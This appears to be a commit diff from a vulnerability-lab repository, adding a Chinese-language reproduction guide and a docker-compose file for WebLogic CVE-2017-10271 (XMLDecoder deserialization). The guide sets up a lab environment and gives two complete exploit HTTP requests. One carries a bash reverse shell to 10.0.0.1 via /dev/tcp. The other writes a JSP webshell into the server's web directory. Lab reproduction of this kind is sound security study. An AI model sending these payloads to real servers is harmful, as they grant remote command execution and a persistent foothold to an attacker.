add hand book

weblogic/CVE-2017-10271/README.md

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+# Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞（CVE-2017-10271）
+
+Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
+
+参考链接：
+
+- https://www.exploit-db.com/exploits/43458/
+- https://paper.seebug.org/487/
+- https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices组件反序列化漏洞分析.md
+- http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
+
+## 环境搭建
+
+启动测试环境：
+
+```
+docker-compose up -d
+```
+
+等待一段时间，访问`http://your-ip:7001/`即可看到一个404页面，说明weblogic已成功启动。
+
+## 漏洞复现
+
+发送如下数据包（注意其中反弹shell的语句，需要进行编码，否则解析XML的时候将出现格式错误）：
+
+```
+POST /wls-wsat/CoordinatorPortType HTTP/1.1
+Host: your-ip:7001
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: text/xml
+Content-Length: 633
+
+<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
+<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+<java version="1.4.0" class="java.beans.XMLDecoder">
+<void class="java.lang.ProcessBuilder">
+<array class="java.lang.String" length="3">
+<void index="0">
+<string>/bin/bash</string>
+</void>
+<void index="1">
+<string>-c</string>
+</void>
+<void index="2">
+<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
+</void>
+</array>
+<void method="start"/></void>
+</java>
+</work:WorkContext>
+</soapenv:Header>
+<soapenv:Body/>
+</soapenv:Envelope>
+```
+
+成功获取shell：
+
+![](1.png)
+
+写入webshell（访问：`http://your-ip:7001/bea_wls_internal/test.jsp`）：
+
+```
+POST /wls-wsat/CoordinatorPortType HTTP/1.1
+Host: your-ip:7001
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: text/xml
+Content-Length: 638
+
+<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+    <soapenv:Header>
+    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+    <java><java version="1.4.0" class="java.beans.XMLDecoder">
+    <object class="java.io.PrintWriter"> 
+    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
+    <void method="println"><string>
+    <![CDATA[
+<% out.print("test"); %>
+    ]]>
+    </string>
+    </void>
+    <void method="close"/>
+    </object></java></java>
+    </work:WorkContext>
+    </soapenv:Header>
+    <soapenv:Body/>
+</soapenv:Envelope>
+```

weblogic/CVE-2017-10271/docker-compose.yml

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+version: '2'
+services:
+ weblogic:
+   image: vulhub/weblogic
+   depends_on:
+    - redis
+   ports:
+    - "7001:7001"